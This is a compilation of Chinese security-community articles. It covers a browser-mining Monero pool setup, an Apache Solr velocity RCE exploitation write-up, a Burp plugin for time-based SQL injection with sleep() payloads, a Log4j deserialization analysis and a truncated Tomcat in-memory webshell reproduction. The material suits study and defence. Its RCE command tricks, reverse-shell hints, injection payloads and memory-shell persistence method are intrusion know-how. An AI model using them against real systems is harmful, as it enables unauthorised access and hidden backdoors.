mkdir monero
cd monero
wget https://downloads.getmonero.org/cli/monero-linux-x64-v0.11.0.0.tar.bz2
tar -xjvf monero-linux-x64-v0.11.0.0.tar.bz2
然后运行 `./monerod` 开始长达3-6小时的下载区块链信息和验证完整性……
当然，官网也介绍了一个更方便的方式，直接手动下载 `raw` 文件并导入验证。
// 下载并验证导入
wget -c --progress=bar https://downloads.getmonero.org/blockchain.raw
./monero-blockchain-import --verify 0 --input-file ./blockchain.raw
// 验证完之后就可以移除辣~
rm -rf ./blockchain.raw
// 继续开启demon并后台运行
./monerod --detach
### 搭建Pool
可以参见官方文档：<https://github.com/zone117x/node-cryptonote-pool#1-downloading--installing>
之前已经下载了 `nodejs` 所以不做重复下载。我们还需要 `Redis` 解决Pool的数据库问题。
关于Redis安装，一搜一大堆，不再啰嗦。
> 请注意：切记设置Redis为本地服务，不要对外开放，可以自行设置密码。
>
> 参见：<https://redis.io/topics/security>
搭建完Redis数据库，我们来从github下载最新的源码，着手布置Pool。
cd /srv
git clone https://github.com/zone117x/node-cryptonote-pool.git pool
cd pool
npm update
等npm更新下载完毕，我们来进行配置
cp config_example.json config.json
`vi config.json` 开始配置Pool信息
/* Used for storage in redis so multiple coins can share the same redis instance. */
"coin": "monero",
/* Used for front-end display */
"symbol": "MRO",
"logging": {
"files": {
/* Specifies the level of log output verbosity. This level and anything
more severe will be logged. Options are: info, warn, or error. */
"level": "info",
/* Directory where to write log files. */
"directory": "logs",
/* How often (in seconds) to append/flush data to the log files. */
"flushInterval": 5
},
"console": {
"level": "info",
/* Gives console output useful colors. If you direct that output to a log file
then disable this feature to avoid nasty characters in the file. */
"colors": true
}
},
/* Modular Pool Server */
"poolServer": {
"enabled": true,
/* Set to "auto" by default which will spawn one process/fork/worker for each CPU
core in your system. Each of these workers will run a separate instance of your
pool(s), and the kernel will load balance miners using these forks. Optionally,
the 'forks' field can be a number for how many forks will be spawned. */
"clusterForks": "auto",
/* Address where block rewards go, and miner payments come from. */
"poolAddress": "4AsBy39rpUMTmgTUARGq2bFQWhDhdQNek******************************************************************"
// 上方一定要记得替换为自己的Wallet地址
/* Poll RPC daemons for new blocks every this many milliseconds. */
"blockRefreshInterval": 1000,
/* How many seconds until we consider a miner disconnected. */
"minerTimeout": 900,
// 这里可以根据web挖矿，适当降低难度，也不需要这么多端口。
"ports": [
{
"port": 1111, //Port for mining apps to connect to
"difficulty": 100, //Initial difficulty miners are set to
"desc": "Low end hardware" //Description of port
},
{
"port": 2222,
"difficulty": 500,
"desc": "Mid range hardware"
},
{
"port": 3333,
"difficulty": 1000,
"desc": "High end hardware"
}
],
/* Variable difficulty is a feature that will automatically adjust difficulty for
individual miners based on their hashrate in order to lower networking and CPU
overhead. */
"varDiff": {
"minDiff": 2, //Minimum difficulty
"maxDiff": 1000,
"targetTime": 100, //Try to get 1 share per this many seconds
"retargetTime": 30, //Check to see if we should retarget every this many seconds
"variancePercent": 30, //Allow time to very this % from target without retargeting
"maxJump": 100 //Limit diff percent increase/decrease in a single retargetting
},
/* Feature to trust share difficulties from miners which can
significantly reduce CPU load. */
"shareTrust": {
"enabled": true,
"min": 10, //Minimum percent probability for share hashing
"stepDown": 3, //Increase trust probability % this much with each valid share
"threshold": 10, //Amount of valid shares required before trusting begins
"penalty": 30 //Upon breaking trust require this many valid share before trusting
},
/* If under low-diff share attack we can ban their IP to reduce system/network load. */
"banning": {
//banning可以设置为false，毕竟web浏览不能保证单个页面长期在线，很容易断开
//或者设置时间不需要这么长，连接来自我们的PoolProxy，我们修改为30秒避免造成长期阻断
"enabled": true,
"time": 30, //How many seconds to ban worker for
"invalidPercent": 25, //What percent of invalid shares triggers ban
"checkThreshold": 30 //Perform check when this many shares have been submitted
},
/* [Warning: several reports of this feature being broken. Proposed fix needs to be tested.]
Slush Mining is a reward calculation technique which disincentivizes pool hopping and rewards
'loyal' miners by valuing younger shares higher than older shares. Remember adjusting the weight!
More about it here: https://mining.bitcoin.cz/help/#!/manual/rewards */
"slushMining": {
"enabled": false, //Enables slush mining. Recommended for pools catering to professional miners
"weight": 300, //Defines how fast the score assigned to a share declines in time. The value should roughly be equivalent to the average round duration in seconds divided by 8. When deviating by too much numbers may get too high for JS.
"lastBlockCheckRate": 1 //How often the pool checks the timestamp of the last block. Lower numbers increase load but raise precision of the share value
}
},
/* Module that sends payments to miners according to their submitted shares. */
"payments": {
"enabled": true,
"interval": 600, //how often to run in seconds
"maxAddresses": 50, //split up payments if sending to more than this many addresses
"mixin": 3, //number of transactions yours is indistinguishable from
"transferFee": 5000000000, //fee to pay for each transaction
"minPayment": 100000000000, //miner balance required before sending payment
"denomination": 100000000000 //truncate to this precision and store remainder
},
/* Module that monitors the submitted block maturities and manages rounds. Confirmed
blocks mark the end of a round where workers' balances are increased in proportion
to their shares. */
"blockUnlocker": {
"enabled": true,
"interval": 30, //how often to check block statuses in seconds
/* Block depth required for a block to unlocked/mature. Found in daemon source as
the variable CRYPTONOTE_MINED_MONEY_UNLOCK_WINDOW */
"depth": 60,
"poolFee": 1.8, //1.8% pool fee (2% total fee total including donations)
"devDonation": 0.1, //0.1% donation to send to pool dev - only works with Monero
"coreDevDonation": 0.1 //0.1% donation to send to core devs - only works with Monero
},
/* AJAX API used for front-end website. */
"api": {
"enabled": true,
"hashrateWindow": 600, //how many second worth of shares used to estimate hash rate
"updateInterval": 3, //gather stats and broadcast every this many seconds
"port": 8117,
"blocks": 30, //amount of blocks to send at a time
"payments": 30, //amount of payments to send at a time
"password": "test" //password required for admin stats
},
/* Coin daemon connection details. */
"daemon": {
"host": "127.0.0.1",
"port": 18081
},
/* Wallet daemon connection details. */
"wallet": {
"host": "127.0.0.1",
"port": 8082
},
/* Redis connection into. */
"redis": {
"host": "127.0.0.1",
"port": 6379,
"auth": null //If set, client will run redis auth command on connect. Use for remote db
}
最后在终端键入 `node init.js` 让Pool开始工作, 也可以用比如 `node init.js -module=api` 只开启单独项目。
当然你也可以用 `forever start /srv/pool/init.js`
确保出错了还能在线，也可以将其写入开机启动项里。不过值得注意的是：切记要把Pool的开启，放在Pool_Proxy开启之前哦！
如此一来，Pool + Pool_Proxy 就完成了，请开始你的表演吧~
## Pool 相关项目
<https://github.com/zone117x/node-cryptonote-pool>
<https://github.com/CanadianRepublican/monero-universal-pool>
[https://github.com/search?utf8=%E2%9C%93&q=monero+pool](https://github.com/search?utf8=%E2%9C%93&q=monero+pool)
## 发展构想
其实前端算力，不仅仅可以用来挖矿，更可以用来做机器人验证，构造一种算法，或者换一种token方式，利用硬算力来增加批量化成本，同时通过算力难度，来增加单次的硬计算时间成本，我想在验证码应用上将有更好的发展。
同时 `asmjs` 和 `WebAssembly`
的出现，也将前端的处理能力提升到一个新的台阶，今后通过浏览器构造本地应用？创建新形式的3D页游？甚至加入P2P将应用分发到用户？新的加密传输？大众化的自定义加密算法？
正如Coinhive现在的验证码雏形，市场前景十分美好，通过基本判断，逐步增加重复提交表单的计算成本，来杜绝撸羊毛，通过不断的更新与进步，前端的魅力，正在逐步散发。
比如EtherDream的文章推荐给大家：
[使用浏览器的计算力，对抗密码破解](https://www.cnblogs.com/index-html/p/frontend_kdf.html)
[【探索】无形验证码 —— PoW 算力验证](https://www.cnblogs.com/index-html/p/web-pow-research.html)
[怎样的 Hash 算法能对抗硬件破解](https://www.cnblogs.com/index-html/p/hardware-resistant-hash-algorithm.html)
> 一入前端深似海，猥琐不往此生学。
>
> 熊迪，跟我来学做菜吧2333…… | 社区文章 |
# Apache-Solr-RCE深入利用
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 Solr描述
Solr是建立在Apache Lucene ™之上的流行，快速，开放源代码的企业搜索平台。
其中5.x-8.3.1版本存在velocity模板注入RCE。
Solr存在挺多CVE漏洞的，不过velocity模板注入是影响版本范围最广的一个漏洞。网上分析、复现的文章挺多的，这里就不再重复了。
## 0x02 起因
（ **以下全为补图** ）
某次项目，刚好遇到存在漏洞Solr应用，熟练的拿出平时复现用的脚本。
成功返回whomai命令结果，拿捏。
随后开始进一步的信息收集，先遍历一下目录，看看都有什么文件。
直接500报错了，刚开始还以为是意外，随即多试了几下，发现事情并没有那么简单。
接连又试了几个命令，netstat -ano | findstr “3389”，看看3389是否开启。同样结局。
就这样了吗？怎么可能。
## 0x03 响应500原因分析
随后在本地搭建了同样版本的环境，开始测试。
执行whoami命令，正常值返回
执行dir报错
查看了一些调试信息，抱错：“系统找不到指定的文件”
打开全盘搜索工具搜了一下，果然没有dir.exe。
Ps：E:\Program Files\Git\usr\bin\未加入系统环境变量。
## 0x04 解决之道
通过网络搜索，最终搞明白。DOS命令分为：
**内部命令** 在DOS启动时随command.com装入内存，可随时执行。
**外部命令** 的执行需要进入保存命令的目录下面，或者设置全局环境变量。
刚好dir属于内部命令，然而java的getRuntime().exec(‘dir’)执行的是系统变量里边的文件，自然就找不到dir命令了。
Windows系统的命令一般都是通过cmd.exe来执行，所以，我们可以在前面加上cmd.exe /c。
## 0x05 超时导致无回显
刚准备继续，又啪啪打*了。
cmd.exe /c netstat -ano
执行类似命令cmd.exe /c netstat -n可以正常执行。那么就很明朗了，肯定是参数a和o搞得鬼。
经过本地尝试，单独使用参数a或o，都会等待较长时间。
参数-a
参数-o
猜测可能是时间超时导致无回显。
## 0x06 突破超时无回显
一般命令执行无回显的情况下，可以直接执反弹shell或者数据外带。不管怎么样，都需要目标机能正常出网为前提。那么，可以不出网回显吗？
答案是肯定的。
直接通过＞符号，把结果导入一个文件中即可。
虽然响应报错了，但是命令已经执行成功了
netstat –ano命令执行结果
这是在本地，可以直接打开，做项目的时候怎么查看文件那？
默认写入文件的目录在web是不能直接访问的。
默认上传文件目录：
solr-7.5.0\solr\server\
默认Solr的ｗｅｂ目录：
solr-7.5.0\solr\server\solr-webapp\webapp\
写入文件时，只需要向后两个目录就好了。
重新构造命令：cmd.exe /c netstat -ano > ./solr-webapp/webapp/feizhoumoli2.txt
ｗｅｂ查看执行结果
很多人喜欢反弹shell，可以直接把ｎｃ上传致ｓｏｌｒ目录，直接执行即可。
ｐｓ：
文档中用的是自己编译的版本，solr的ｗｅｂ目录和直接运行版本有差别
直接运行版ｓｏｌｒ默认路经：
solr-8.1.0\server
solr-8.1.0\server\solr-webapp\webapp
## 0x07 插曲
当我刚要停笔，长舒一口气的时候，同事凑过来看来一眼我写的文章。
来了句：这个漏洞啊，ｍｓｆ可以一键反弹shell。
并甩过来一张截图
我：＊＊＊ | 社区文章 |
# 【技术分享】Burp Suite插件开发之SQL注入检测（已开源）
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者：**[ **bsmali4**
****](http://bobao.360.cn/member/contribute?uid=561536297)
**稿费：400RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆 ** ** ** **[
**网页版**](http://bobao.360.cn/contribute/index)********** **在线投稿**
**
**
**前言**
前段时间和某师傅了解到。现在漏洞越来越难挖，但有些老司机总能挖到别人挖不到的漏洞。于是就问了下，大概是什么类型的漏洞，他说是盲注。好吧，的确是，尤其是延时注入,这类东西真的不好测试。好多次我在sqlmap下面都没有测出来。挖洞来说还是burp用的比较居多吧，看过很多被动式扫描平台，本来也想做一个，但是觉得竟然有burp这等web神器，太喜欢他的抓包重放功能了，简直不能太赞，想想搞什么被动式扫描，我直接做成一个burp插件集成起来就ok了，于是有了本篇文章。
**详情**
本文以mysql抛砖引玉，其他类型的数据库也是类似的道理。我在设计的时候，不考虑用sqlmapapi，不是说他不好，sqlmap的强大性，我们有目共睹，这点不用怀疑。我在尝试寻找一种通用的检测注入的方法，发现注入的几种类型，包括报错注入,盲注之类的。最后想了一种比较通用的检测注入的方法，延时注入。
mysql中延时注入的话有几个函数。sleep,benchmark之类。只是简单的演示下sleep
可以看到，延时20秒才会出效果。其实大部分的盲注和显错注入都可以用这个来检测。既然要打造一款burp插件，那么肯定要了解burp api。
官方文档 <https://portswigger.net/burp/extender/api/index.html>
burpapi还是比较简单易懂的，我们的想法很简单，就是通过调用burp
api来解析流量，然后构造好payload，最后来发包，通过比较时间差来判断这到底是不是一个注入。当然了，延时注入之类的检测，和网络稳定性的关系还是蛮大的。在这里我们不考虑网络的原因，还是旨在抛砖引玉，带大家体验一下burp插件的开发过程。
下载好burp api文件之后，有几个java文件，我们在同一目新建一个BurpExtender.java，让其实现IBurpExtender,
IScannerCheck。
实现IScannerCheck类之后，实现 doPassiveScan函数。我们的检测操作就放在这个函数里面。
画了一个简单的思维导图
FuzzVul.java里面有两个函数，checkGet和checkPost函数，我按照http协议类型分的，这里面又分为几种，按不同的编码方式，我们不仅仅满足于检测sql注入，像xss啊，乃至于imagemagick,其实都是可以检测的。所以在不同的编码下面多设置几个检测函数，像xml类型，我们可以用来检测xxe，上传文件类型，我们还可以用来检测上传绕过啊，imagemagick这些，反正可以做的地方很多，扯远了。
BurpExtender.java
package burp;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Collections;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Iterator;
import java.util.List;
import java.util.Set;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.apache.http.entity.ContentType;
import bsmali4.FuzzVul;
public class BurpExtender implements IBurpExtender, IScannerCheck {
public IBurpExtenderCallbacks callbacks;
public IExtensionHelpers helpers;
public PrintWriter stdout;
public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
this.callbacks = callbacks;
stdout = new PrintWriter(callbacks.getStdout(), true);
this.helpers = callbacks.getHelpers();
callbacks.setExtensionName("Time-based sqlinject checks");
callbacks.registerScannerCheck(this);
System.out.println("Loaded Time-based sqlinject checks");
}
@Override
public int consolidateDuplicateIssues(IScanIssue existingIssue,
IScanIssue newIssue) {
// TODO Auto-generated method stub
return 0;
}
// 主动式扫描
@Override
public List<IScanIssue> doActiveScan(
IHttpRequestResponse baseRequestResponse,
IScannerInsertionPoint insertionPoint) {
// TODO Auto-generated method stub
return null;
}
// 被动式扫描
@Override
public List<IScanIssue> doPassiveScan(
IHttpRequestResponse baseRequestResponse) {
String method = this.helpers.analyzeRequest(baseRequestResponse)
.getMethod();
String url = this.helpers.analyzeRequest(baseRequestResponse).getUrl()
.toString();
if (!url.contains("google.com")) {
if (method != null && method.trim().equals("POST")) {
FuzzVul.checkPost(baseRequestResponse, helpers, stdout);//post检测函数
} else if (method.trim().equals("GET")) {
FuzzVul.checkGet(baseRequestResponse, helpers, stdout);//get检测函数
}
}
return null;
}
}
BurpExtender.java我们前面讲过，重点是doPassiveScan函数。调用了FuzzVul工具类，
FuzzVul.java
public static void checkPost(IHttpRequestResponse baseRequestResponse,
IExtensionHelpers helpers, PrintWriter stdout) {
List<String> headerStrings = new ArrayList<String>();
List<IParameter> parameters = new ArrayList<IParameter>();
URL url = helpers.analyzeRequest(baseRequestResponse).getUrl();
byte contenttype = helpers.analyzeRequest(baseRequestResponse)
.getContentType();
headerStrings = helpers.analyzeRequest(baseRequestResponse)
.getHeaders();
parameters = helpers.analyzeRequest(baseRequestResponse)
.getParameters();
…..
switch (contenttype) {
case IRequestInfo.CONTENT_TYPE_URL_ENCODED:
checkURLENCODEDPost(baseRequestResponse, helpers, stdout);
break;
……
/* URL_ENCODED类型 */
private static void checkURLENCODEDPost(
IHttpRequestResponse baseRequestResponse,
IExtensionHelpers helpers, PrintWriter stdout) {
SQLINJECT.checkPostSqlinject(baseRequestResponse, helpers, stdout);}
最终的检测函数还是放在SQLINJECT.checkPostSqlinject中。在构造payload之前，我们需要初始化payload，加载常见的payload的，这里我们遇到一个需求，按照之前的设置，当我们开启burp监听的时候，所有的流量都会自动经过一次doPassiveScan函数，我们针对每一次http请求，不可能每个请求都初始化一次payload，我的想法是放在一个全局变量中，但是问题会来的，多次调用，某些原因导致全局变量的数据收到影响，显然这种方式不好。我想到了一种设计模式，单例模式。于是我先定义一个变量
static List<String> payloads;
// 初始化payloads
public static List<String> initpayload(boolean refresh) {
if (refresh) {
payloads = null;
}
if (payloads != null)
return payloads;
else {
payloads = new ArrayList<String>();
// payloads.add("' xor sleep()#");
int timeout = 5;
payloads.add("' and sleep(" + timeout + “)#");
…
return payloads;
}
}
熟悉的单例模式，这样做的话有很多好处，如果你想刷新payloads的数据，直接传initpayload(True)就行了，如果不刷新，只需要加载一次就好了，这么写的好处不言而喻。
后面就是解析流量之类的，
List<String> headerStrings = new ArrayList<String>();
List<IParameter> parameters = new ArrayList<IParameter>();
List<HttpParameter> Httpparameter = new ArrayList<HttpParameter>();// 参数list
URL url = helpers.analyzeRequest(baseRequestResponse).getUrl();
headerStrings = helpers.analyzeRequest(baseRequestResponse)
.getHeaders();//获取http头信息，包含ua,cookie之类的
parameters = helpers.analyzeRequest(baseRequestResponse)
.getParameters();//获取提交参数，其中也会自动包括cookie
解析好流量之后，就是发送http数据包了，由于十分喜欢python的requests模块，所以我将java的httpclient简单的封装了一下，使用起来比较舒服。
Thread t1 = new Thread() {
public void run() {
httpPost.doPost();
};
};
t1.start();
try {
t1.join();
} catch (InterruptedException e) {
e.printStackTrace();
}
//stdout.println(httpPost.getResContent());
long endTime = System.currentTimeMillis();
if ((endTime - startTime) > TIMEOUT) {
stdout.println("===========================================");stdout.println("=========this**found**a**sqlinject=========");
}
大致思路就是这样，最后代码已经上传到github上面。可以提供给大家下载学习，当然也欢迎大家一起来完善这些模块，包括我前面说的xss之类的，其实都是可以做的。
**效果测试**
由于最近一直在看ctf，（我是菜鸟），所以找了几个ctf环境测试，效果棒棒哒。
post注入
然后，用这个插件检测了某位师傅挖的某个src的盲注，也检测出来了， 效果还是比较满意的。不过还有很多功能需要继续去完善,比如xss这些。
插件安装，如果想自己编译安装的话，直接编译下面源代码，或者直接在extender下添加jar插件
**项目地址:**[ **https://github.com/bsmali4/checkSql**
****](https://github.com/bsmali4/checkSql) | 社区文章 |
apache Log4j 组件漏洞描述：
CVE-2017-5645: Apache Log4j socket receiver deserialization vulnerability
Severity: High
CVSS Base Score: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Vendor: The Apache Software Foundation
Versions Affected: all versions from 2.0-alpha1 to 2.8.1
Description: When using the TCP socket server or UDP socket server to
receive serialized log events from another application, a specially crafted
binary payload can be sent that, when deserialized, can execute arbitrary
code.
Mitigation: Java 7+ users should migrate to version 2.8.2 or avoid using
the socket server classes. Java 6 users should avoid using the TCP or UDP
socket server classes, or they can manually backport the security fix from
2.8.2: <https://git-wip-us.apache.org/repos/asf?p=logging-log4j2.
git;h=5dcc192>
### Log4j简介
在应用程序中添加日志记录最普通的做法就是在代码中嵌入许多的打印语句，这些打印语句可以输出到控制台或文件中，比较好的做法就是构造一个日志操作类来封装此类操作，而不是让一系列的打印语句充斥了代码的主体。
Log4j是Apache的一个开源项目，通过使用Log4j，我们可以控制日志信息输送的目的地是控制台、文件、GUI组件，甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等；我们也可以控制每一条日志的输出格式；通过定义每一条日志信息的级别，我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是，这些可以通过一个配置文件来灵活地进行配置，而不需要修改应用的代码。
Log4j在工程中可以易用，方便等代替了 System.out 等打印语句，它是Java下最流行的日志输入工具，一些著名的开源项目，像spring、hibernate、struts都使用该工具作为日志输入工具，可以帮助调试（有时候debug是发挥不了作用的）和分析。
### 流程图
TCP
UDP
### 漏洞分析
其实对java的远程服务这一块没有了解过，但是可以在漏洞描述中看见这么一句：
`TCP or UDP socket server classes`，那么就去全文搜一下tcp udp socket server 相关关键字
其实是有对应的 TcpSocketServer 和 UdpSocketServer 的类
#### TCP
那么我们直接去查看TcpSocketServer
先看一下类结构
CommandLineArguments类是自定义处理命令行参数用的
SocketHandler类用于处理客户端连接
然后就是三个构造函数，接着`create*SocketServer`函数用于创建各类服务端，main用于直接运行的，extract用于创建一个`ServerSocket`并返回
run函数存在是因为 `TcpSocketServer`
继承于`AbstractSocketServer`，而这个抽象类继承了Runable接口。在`TcpSocketServer`类中，run函数用于接受客户端连接并且交于SocketHandler处理连接
shutdown函数作用是清理并关闭线程
现在，我们从创建一个Tcp的远程日志服务开始跟起，在源码中，有TcpSerializedSocketServerTest类向我们展示了这一操作，虽然它的功能仅仅是用于测试..
在TcpSerializedSocketServerTest中，只有一个构造函数和createLayout函数，剩下的两个如上图所示，其中createLayout函数并没有具体的代码，所以和构造函数一样我们选择忽略..
@BeforeClass注解表示该函数用于测试类实例化前执行的函数，并且针对所有测试函数，它只会执行一次，就像static块一样
@AfterClass注解表示测试类实例化后只会执行一次
我们直接看setupClass函数，它先是获取了一下Log的上下文然后就调用了TcpSocketServer的`createSerializedSocketServer`函数，传入的是一个int，跟过去看看啥情况
在`AbstractSocketServerTest`函数里
继续跟进getNextAvailable，就不贴出来了，说明一下功能，就是从1100端口开始计算，返回一个当前的端口中空闲着的最小端口号
我们先不急着跟进`createSerializedSocketServer`函数，继续往下看，它调用了TcpSocketServer的startNewThread函数，这个函数具体实现在`AbstractSocketServer`中
直接start了，看一下 server.startNewThread的server是啥类型的
因为是TcpSocketServer的对象，所以start后执行就是TcpSocketServer里的run函数
现在我们跟进`createSerializedSocketServer`函数看看，注意形参是int类型的
参数和返回值都说清楚了，int就是用于监听的端口，返回一个新的socket
server，新建的TcpSocketServer带入了`ObjectInputStreaLogEventBridge`对象
当Test类拿到TcpSocketServer对象后，就会执行其run函数，我们看一下详细内容
_函数体有点长，就贴代码不贴图了_
/**
* Accept incoming events and processes them.
*/
@Override
public void run() {
final EntryMessage entry = logger.traceEntry();
while (isActive()) {
if (serverSocket.isClosed()) {
return;
}
try {
// Accept incoming connections.
logger.debug("Listening for a connection {}...", serverSocket);
final Socket clientSocket = serverSocket.accept();
logger.debug("Acepted connection on {}...", serverSocket);
logger.debug("Socket accepted: {}", clientSocket);
clientSocket.setSoLinger(true, 0);
// accept() will block until a client connects to the server.
// If execution reaches this point, then it means that a client
// socket has been accepted.
final SocketHandler handler = new SocketHandler(clientSocket);
handlers.put(Long.valueOf(handler.getId()), handler);
handler.start();
} catch (final IOException e) {
if (serverSocket.isClosed()) {
// OK we're done.
logger.traceExit(entry);
return;
}
logger.error("Exception encountered on accept. Ignoring. Stack trace :", e);
}
}
for (final Map.Entry<Long, SocketHandler> handlerEntry : handlers.entrySet()) {
final SocketHandler handler = handlerEntry.getValue();
handler.shutdown();
try {
handler.join();
} catch (final InterruptedException ignored) {
// Ignore the exception
}
}
logger.traceExit(entry);
}
一进来就是一个循环，先判断了socket是否关闭，如果没有的话，就接受从客户端传递的数据，如果已经关闭则退出循环，退出循环后做一些清理工作。
我们来看看接受客户端的情况，如下图
serverSocket就是根据之前传入的int端口号来新建的一个ServerSocket对象。注意红框里，将clientSocket作为参数实例化`SocketHandler`类，然后放入handlers中，handlers是一个ConcurrentMap。最后调用了start函数
我们去看看这个 `SocketHandler` 具体做了什么
构造函数里，获取了 socket 中的数据流后，传入了 `logEventInput` 的`wrapStream`中，看看`logEventInput`
是一个`LogEventBridge`类型的，还记得在之前的`createSerializedSocketServer`函数中的新建`ObjectInputStreamLogEventBridge`对象吗，这里的logEventInput其实就是这个新建的`ObjectInputStreamLogEventBridge`对象
那么我们跟进 wrapStream函数
发现有`AbstractLogEventBridge`和`ObjectInputStreamLogEventBridge`实现了，这里我们当然选择跟进`ObjectInputStreamLogEventBridge`类中
就将传入的inputStream用`ObjectInputStream`包装一下然后返回了
那么这个SocketHandler中的inputStream就是一个`ObjectInputStream`对象了
我们接着看SocketHandler的run函数
直接将inputStream带入了`logEventInput`的`logEvents`函数中
跟进去看看
肯定是`ObjectInputStreamLogEventBridge`里的`logEvents`
如上图，inputStream传入`logEvents`后，直接调用了`readObject`函数，这里就触发了反序列化
#### UDP
查看UdpSocketServer
先看结构
与TcpSocketServer的结构类似，create*SocketServer函数用于创建接受不同类型数据的Socket Server
我们直接去看他的run函数
其他操作都很正常，接收数据后，提取二进制流赋值给bais，然后带入`wrapStream`处理成`ObjectInputStream`，然后传入`ObjectInputStreamLogEventBridge`中的`logEvents`函数，就和TCP中的触发一样了，直接调用的`readObject`函数
#### 一些其他的尝试
在TCP和UDP中，我们注意到关键点都在于这个`logEventsInput`的类型，如果它是`ObjectInputStreamLogEventBridge`类型，那么在后面调用`logEvents`函数的时候，就会直接调用`readObject`函数造成反序列化
这个`logEvents`函数通过名字就可以判断出，它是用于将接收到的数据做一下日志记录的，所以在其他流程中，也仅仅是为这个记录操作提供前提条件，仅仅是将数据接收、简单处理一下等
那么`logEventsInput`如果是其他类型呢，其他类型的`LogEventBridge`又会对接收到的数据如何进行处理，在处理过程中会不会有问题存在？
我们先去看看`LogEventBridge`的子类有哪些（`logEvent`由`LogEventBridge`定义）
LogEventBridge本身是一个接口，`AbstractLogEventBridge`是`LogEventBridge`的抽象类，所以我们的关注点在于
`*StreamLogEventBridge`，之前的反序列化是由于`ObjectInputStreamLogEventBridge`触发的，那么我们去看看
`InputStreamLogEventBridge`的`logEvents`函数
_XmlInputStreamLogEvnetBridge和JsonInputStreamLogEventBridge并没有实现logEvents函数_
@Override
public void logEvents(final InputStream inputStream, final LogEventListener logEventListener) throws IOException {
String workingText = Strings.EMPTY;
try {
// Allocate buffer once
final byte[] buffer = new byte[bufferSize];
String textRemains = workingText = Strings.EMPTY;
while (true) {
// Process until the stream is EOF.
final int streamReadLength = inputStream.read(buffer);
if (streamReadLength == END) {
// The input stream is EOF
break;
}
final String text = workingText = textRemains + new String(buffer, 0, streamReadLength, charset);
int beginIndex = 0;
while (true) {
// Extract and log all XML events in the buffer
final int[] pair = getEventIndices(text, beginIndex);
final int eventStartMarkerIndex = pair[0];
if (eventStartMarkerIndex < 0) {
// No more events or partial XML only in the buffer.
// Save the unprocessed string part
textRemains = text.substring(beginIndex);
break;
}
final int eventEndMarkerIndex = pair[1];
if (eventEndMarkerIndex > 0) {
final int eventEndXmlIndex = eventEndMarkerIndex + eventEndMarker.length();
final String textEvent = workingText = text.substring(eventStartMarkerIndex, eventEndXmlIndex);
final LogEvent logEvent = unmarshal(textEvent);
logEventListener.log(logEvent);
beginIndex = eventEndXmlIndex;
} else {
// No more events or partial XML only in the buffer.
// Save the unprocessed string part
textRemains = text.substring(beginIndex);
break;
}
}
}
} catch (final IOException ex) {
logger.error(workingText, ex);
}
}
主要代码如下图
先在字符数组中截取特定标签之间的字符，然后传入 unmarshal 函数进行反序列化操作，不过这里的反序列化是由jackson框架操作
unmarshal函数：
但是里面的ObjectMapper没有调用enableDefaultTyping函数...
InputStreamLogEventBridge可以解析json和xml，json的反序列化没有找到利用点，而解析xml也是直接解析的
`<Event></Event>`或是`<Event`标签里的数据，技术水平限制了我的想象，不知道代码中还有啥处理问题了....
漏洞通报：<http://seclists.org/oss-sec/2017/q2/78>
log4j简介：<https://www.cnblogs.com/shanheyongmu/p/5650632.html>
log4j-core源码分析：<http://www.blogjava.net/DLevin/archive/2012/06/28/381667.html> | 社区文章 |
# Tomcat进程注入技术复现
最近学习了一下tomcat进程注入技术，其原理在于Java在Java SE5后引入了Java
Instrumentation，该功能指的是可以用独立于应用程序之外的代理程序来监测和协助包括但不限于获取JVM运行时状态，替换和修改类定义等。这里主要利用GitHub上rebeyond的[memShell](https://github.com/rebeyond/memShell)工程对该技术进行复现。
## 技术关键点
我们希望通过访问web服务器上的任意一个url，无论该url是静态资源抑或jsp文件，无论是原生servlet还是struts
action，甚至无论它是否存在，只要我们传递请求给tomcat，tomcat就能响应我们的指令。要实现这一目的，必须找到一个关键的类，这个类要尽可能在http请求调用栈的上方，又不能与具体的URL有耦合，且还能接受客户端request中的数据。分析后发现，org.apache.catalina.core.ApplicationFilterChain类的internalDoFilter方法最符合要求，internalDoFilter方法的原型如下：
private void internalDoFilter(ServletRequest request, ServletResponse response)
throws IOException, ServletException {}
该方法有ServletRequest和ServletResponse两个参数，里面封装了用户请求的request和response，同时internalDoFilter方法也是自定义filter的入口：
private void internalDoFilter(ServletRequest request, ServletResponse response)
throws IOException, ServletException {
//Call the next filter if there is one
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
Filter filter = null;
try {
filter = filterConfig.getFilter();
support.fireInstanceEvent(InstanceEvent.BEFORE_FILTER_EVENT,
filter, request, reponse);
...
if ( Global.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
Principal principal =
((HttpServletRequest) req).getUserPrincipal();
Object[] args = new Object[]{req, res, this};
SecurityUtil.doAsPrivilege
("doFilter", filter, classType, args, principal);
} else {
filter.doFilter(request, response, this);
}
...
...
所以要实现内存注入就需要对该方法插入我们定制的代码段（具体代码可在memShell工程中找到）
## 复现环境搭建
### 1\. Java环境搭建
首先去[官网](https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html)下载jdk文件，本次复现过程在Ubuntu虚拟机中实现，因此下载Linux版本的jdk文件，然后将下载的压缩包解压：
然后设置环境变量：
`vi /etc/profile`
这里我将jdk文件夹放到了`/usr/local`文件夹中，所以在文件末尾加入以下语句：
export JAVA_HOME=/usr/local/jdk1.8.0_261s
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=.:${JAVA_HOME}/bin:$PATH
然后使配置生效：
`source /etc/profile`
输入命令`java -version`检查配置是否生效：
### 2\. 下载安装tomcat
首先去[官网](https://tomcat.apache.org/)下载tomcat，这里选择了tomcat9，将压缩包放置于`/usr/local`文件夹下解压：
`tar zxvf apache-tomcat-9.0.38`
`sudo mv apache-tomcat-9.0.38 tomcat9`
然后配置tomcat，并新建用户以非root用户来启动tomcat
# 进入Tomcat安装目录下的bin目录
